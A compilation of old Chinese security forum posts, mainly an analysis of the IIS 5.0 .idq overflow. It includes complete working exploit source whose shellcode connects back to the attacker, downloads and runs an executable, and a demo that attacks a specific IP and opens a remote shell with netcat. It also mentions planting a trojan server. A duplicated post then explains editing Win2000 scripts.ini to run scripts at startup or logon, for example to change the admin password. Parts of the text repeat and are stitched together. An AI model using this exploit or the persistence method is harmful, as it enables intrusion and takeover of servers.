01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然后文件已经传过去并运行了，等几秒种，然后就可以连接上去了！
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CC31-6B3C

C:\ 的目录

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 <DIR> Documents and Settings
2001-06-30 16:21 <DIR> download
2001-05-02 19:17 <DIR> Inetpub
2001-05-21 16:35 <DIR> mp3
2001-05-02 21:48 <DIR> mysql
2001-05-02 21:45 <DIR> Perl
2001-05-02 21:57 <DIR> php
2001-06-30 16:24 <DIR> Program Files
2001-06-22 01:47 <DIR> tool
2001-06-30 16:23 <DIR> WINNT
.........
.........
.........
28 个文件 383,912 字节
13 个目录 353,680,384 可用字节

C:\>exit
sent 13, rcvd 2326
bash#
你也可以传个冰河Server端上去，随便你了！

写完这些我感到有点失落，因为漏洞不是我发现的，攻击程序不是我写的，
我也只能跟在那些高手的后面拾人牙慧，唉...还需要再努力学习。

欢迎访问 http://www.xfocus.org/

转载请保持文章完整！
对.idq/.ida溢出攻击的分析

by isno( isno@xfocus.org)

IIS的.idq/.ida映射的溢出漏洞已经公布了好久了，但由于利用这个漏洞有
比较大的难度，所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来，由于发送的内容被转换成了宽字符，所以覆盖用的
溢出地址比较难以控制，按照eEye的办法，是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址，就可以用xx4x这样的串来覆盖ret，这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通，但是实际上问题非常多，可以控制跳转却无法执行代码，而且不同的机
器这个0x004x00xx都不一样，这样就很难做出通用性比较好的exploit。

昨天终于看到公布了可用的攻击程序，一开始没仔细看还以为是骗人的。后
来用softice跟了一下，又请教了一下袁哥才搞明白。这个exploit写得很不错，
用巧妙的方法避开来被扩展成宽字符，可以随意控制跳转地址，利用他的方法可
以很轻松的改写出更完善的exploit。

这个程序的shellcode比较简单，只是连到指定主机的指定端口去接受数
据，然后把它存为aa.exe，然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样，它不能主动请求数据，而只能等待那边的主机发送数据，所以
你不能用它来下载指定的程序，而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

我把这个程序稍微改了一下，使它可以攻击中文版IIS5。因为过几天要考
试，我也没有时间再写个新程序了，只有等考完后在弄。下面就是我改良过
的.idq exploit程序，作了一些比较详细的注解：

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功！
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K（没有安装SP）中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA
  */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了，这样通用性不好，其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset
  */
/*
作者选择了覆盖SEH，这样可以避免覆盖掉某些形参而引起的错误，
但根据我的测试，覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码，以免地址或端口中还有\0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口，不要用80，因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
！！！注意：上面这个地方是必须要更改的地方！！！
这是你发起攻击的主机地址，就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode实现连接到攻击端并下载程序的功能，这个程序必须在攻击端主机上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h，用来跳到后面寻址shellcode的那段代码*/
/*
作者在前面加了一个%u符号，这样就可以免于被扩展成宽字符，这方法
太妙了！至于IIS是这样处理%u的，可以参见bbs.nsfocus.com上袁哥反汇编
的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去，我不一句句的解释了，如果有兴趣可以自己看，
注意每两个字节都是反的，%uC033在转换后变成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*上面是连接主机的函数*/

/*
下面这个函数很重要，它监听在前面定义的那个的端口，我用了555，
一旦有主机连接过来，后面那个进程就把本地的一个程序发送过去，
这个程序当然也是在运行时指定的。
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
开两个进程一个用于构造并发送shellcode，
另一个监听指定端口并等待发送数据。
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);

/*
上面就是构造溢出串，溢出串在被扩展并拷贝入IIS的堆栈后形式如下：
..............| 异常链 |处理指针|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf("Done.\n");
}
/*下面这个进程用于建立连接，并打开指定文件并发送出去*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

整个程序攻击的流程是这样的：

攻击端 被攻击端
1. 发送shellcode
--------------->
2. 溢出并运行shellcode

3.监听555端口等待连接

4. 连接到攻击端555端口
<-------------------

5. 发送文件数据
-------------------->

6 接受文件为aa.exe并执行

下面是演示一下具体的用法的实例：

先到一台linux主机上编译idq.c。gcc -o idq idq.c

！！！注意一定先改一下程序中的#define ADDR "111.111.111.111"为你这台
linux主机的IP地址！！！

然后上传一个ncx99.exe到这台主机放在同一个目录下：
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
假设要攻击61.135.19.222，就这样：
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然后文件已经传过去并运行了，等几秒种，然后就可以连接上去了！
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CC31-6B3C

C:\ 的目录

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 <DIR> Documents and Settings
2001-06-30 16:21 <DIR> download
2001-05-02 19:17 <DIR> Inetpub
2001-05-21 16:35 <DIR> mp3
2001-05-02 21:48 <DIR> mysql
2001-05-02 21:45 <DIR> Perl
2001-05-02 21:57 <DIR> php
2001-06-30 16:24 <DIR> Program Files
2001-06-22 01:47 <DIR> tool
2001-06-30 16:23 <DIR> WINNT
.........
.........
.........
28 个文件 383,912 字节
13 个目录 353,680,384 可用字节

C:\>exit
sent 13, rcvd 2326
bash#
你也可以传个冰河Server端上去，随便你了！

写完这些我感到有点失落，因为漏洞不是我发现的，攻击程序不是我写的，
我也只能跟在那些高手的后面拾人牙慧，唉...还需要再努力学习。


win2000开机启动注销及用户登录注销脚本

本来,我以为win2000开机启动/注销及用户登录/注销脚本配置信息是保存有注册表中或二是制数据库中的,比较难为手工修改,因此一直想做而没有做.今天下午实在忍不住,就勉强为之,也不报什么希望的.

一.首先对注册表进行了跟踪,启动regmon工具后再启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将regmon检测到的信息保存并导入到一个mdb数据库中,足几分钟的时间足足有4000多条.使用sql查询语句将关于mmc的操作找了出来,一无所获!

二.只好又进行文件访问跟踪,心想这个办法即使跟踪出来如果是二进制文件那个是毫无用处!开启filemon,只监视c:\winnt下的访问.启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将filemon检测到的信息保存并导入到一个mdb数据库中,这次更多,有5000多条.使用sql查询语句将关于mmc的操作找了出来,mmc读写了许多个文件,因为我猜微软不可能将数据放到.dll中,因此将dll记录去掉后就剩下如下文件:

c:\winnt\system32\config\software.log
c:\winnt\system32\grouppolicy\gpt.ini
c:\winnt\system32\grouppolicy\machine\registry.pol
c:\winnt\system32\grouppolicy\user\registry.pol
c:\winnt\system32\grouppolicy\adm\conf.adm
c:\winnt\system32\grouppolicy\adm\inetres.adm
c:\winnt\system32\grouppolicy\adm\system.adm
c:\winnt\security\templates\scta0.tmp
c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini
c:\winnt\system32\grouppolicy\user\scripts\scripts.ini

将这些文件一个一个看过来,哈哈!苍天不负有心人,终于被我找到了!原来win2000将win2000开机启动/注销及用户登录/注销脚本配置信息分别保存在scripts.ini文件中,其中开机启动/注销脚本信息保存在c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini文件中,用户登录/注销脚本配置信息c:\winnt\system32\grouppolicy\user\scripts\scripts.ini中,这些是针对本地安全策略而言.如果是域内的策略,那这些信息分别保存在"\\dc\sysvol\域\policies\策略guid\machine\scripts\scripts.ini"和"\\dc\sysvol\域\policies\策略guid\user\scripts\scripts.ini"中.

三.scripts.ini文件的格式
scripts.ini可以使用文本编辑器编辑,如记事本等.
其格式根据是用户脚本还是计算机脚本的不同而不同,如下:
1.用户脚本
里面按通常.ini文件格式,通常有两段数据,[logoff]和[logon].[logoff]是用户注销时运行的脚本,[logon]下是用户登录时运行的脚本.每段内容格式相同,类似于:

[logoff]
0cmdline=aa.vbs
0parameters=aa
1cmdline=aa1.vbs
1parameters=aa1
[logon]
0cmdline=bb.vbs
0parameters=bb

cmdline表示脚本的命令行,前面的数据表示这是第几个脚本,以0开始,因为在可以同时使用多个脚本的.上面的例子中用户注销时就运行两个脚本aa.vbs和aa1.vbs.
parameters表示运行这个脚本的参数,前面的数字与上同,参数是可选的.

2.计算机脚本
里面按通常.ini文件格式,通常有两段数据,[startup]和[shutdown],分别是计算机启动和关机时运行的脚本每段内容格式相同.类似于:

[startup]
0cmdline=e:\zqs2002.vbs
0parameters=zhuqs
[shutdown]
0cmdline=shut.vbs
0parameters=

上面的例子表示当计算机启动时运行脚本e:\zqs2002.vbs,参数是zhuqs.当计算机关机时,运行shut.vbs脚本,这个脚本没有路径,系统会到c:\winnt\system32\grouppolicy\machine\scripts\shutdown去找.

四.总结
到此,脚本问题基本解决,我们可以手工改写这个配置文件,以满足我们的需要了.比如修改管理员密码等


对win2000开机启动-注销及用户登录-注销脚本的研究

miyagi

补充日期: 2002-3-3 20:54:03
本来,我以为win2000开机启动/注销及用户登录/注销脚本配置信息是保存有注册表中或二是制数据库中的,比较难为手工修改,因此一直想做而没有做.今天下午实在忍不住,就勉强为之,也不报什么希望的.

一.首先对注册表进行了跟踪,启动regmon工具后再启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将regmon检测到的信息保存并导入到一个mdb数据库中,足几分钟的时间足足有4000多条.使用sql查询语句将关于mmc的操作找了出来,一无所获!

二.只好又进行文件访问跟踪,心想这个办法即使跟踪出来如果是二进制文件那个是毫无用处!开启filemon,只监视c:\winnt下的访问.启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将filemon检测到的信息保存并导入到一个mdb数据库中,这次更多,有5000多条.使用sql查询语句将关于mmc的操作找了出来,mmc读写了许多个文件,因为我猜微软不可能将数据放到.dll中,因此将dll记录去掉后就剩下如下文件:

c:\winnt\system32\config\software.log
c:\winnt\system32\grouppolicy\gpt.ini
c:\winnt\system32\grouppolicy\machine\registry.pol
c:\winnt\system32\grouppolicy\user\registry.pol
c:\winnt\system32\grouppolicy\adm\conf.adm
c:\winnt\system32\grouppolicy\adm\inetres.adm
c:\winnt\system32\grouppolicy\adm\system.adm
c:\winnt\security\templates\scta0.tmp
c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini
c:\winnt\system32\grouppolicy\user\scripts\scripts.ini

将这些文件一个一个看过来,哈哈!苍天不负有心人,终于被我找到了!原来win2000将win2000开机启动/注销及用户登录/注销脚本配置信息分别保存在scripts.ini文件中,其中开机启动/注销脚本信息保存在c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini文件中,用户登录/注销脚本配置信息c:\winnt\system32\grouppolicy\user\scripts\scripts.ini中,这些是针对本地安全策略而言.如果是域内的策略,那这些信息分别保存在"\\dc\sysvol\域\policies\策略guid\machine\scripts\scripts.ini"和"\\dc\sysvol\域\policies\策略guid\user\scripts\scripts.ini"中.

三.scripts.ini文件的格式
scripts.ini可以使用文本编辑器编辑,如记事本等.
其格式根据是用户脚本还是计算机脚本的不同而不同,如下:
1.用户脚本
里面按通常.ini文件格式,通常有两段数据,[logoff]和[logon].[logoff]是用户注销时运行的脚本,[logon]下是用户登录时运行的脚本.每段内容格式相同,类似于:

[logoff]
0cmdline=aa.vbs
0parameters=aa
1cmdline=aa1.vbs
1parameters=aa1
[logon]
0cmdline=bb.vbs
0parameters=bb

cmdline表示脚本的命令行,前面的数据表示这是第几个脚本,以0开始,因为在可以同时使用多个脚本的.上面的例子中用户注销时就运行两个脚本aa.vbs和aa1.vbs.
parameters表示运行这个脚本的参数,前面的数字与上同,参数是可选的.

2.计算机脚本
里面按通常.ini文件格式,通常有两段数据,[startup]和[shutdown],分别是计算机启动和关机时运行的脚本每段内容格式相同.类似于:

[startup]
0cmdline=e:\zqs2002.vbs
0parameters=zhuqs
[shutdown]
0cmdline=shut.vbs
0parameters=

上面的例子表示当计算机启动时运行脚本e:\zqs2002.vbs,参数是zhuqs.当计算机关机时,运行shut.vbs脚本,这个脚本没有路径,系统会到c:\winnt\system32\grouppolicy\machine\scripts\shutdown去找.

四.总结
到此,脚本问题基本解决,我们可以手工改写这个配置文件,以满足我们的需要了.比如修改管理员密码等.

kaka

kaka&littleshrimp

发帖: 47
积分: 2
来自: china
于 2002-03-04 21:58
--------------------------------------------------------------------------------

oceanboy wrote:
miyagi

补充日期: 2002-3-3 20:54:03
本来,我以为win2000开机启动/注销及用户登录/注销脚本配置信息是保存有注册表中或二是制数据库中的,比较难为手工修改,因此一直想做而没有做.今天下午实在忍不住,就勉强为之,也不报什么希望的.

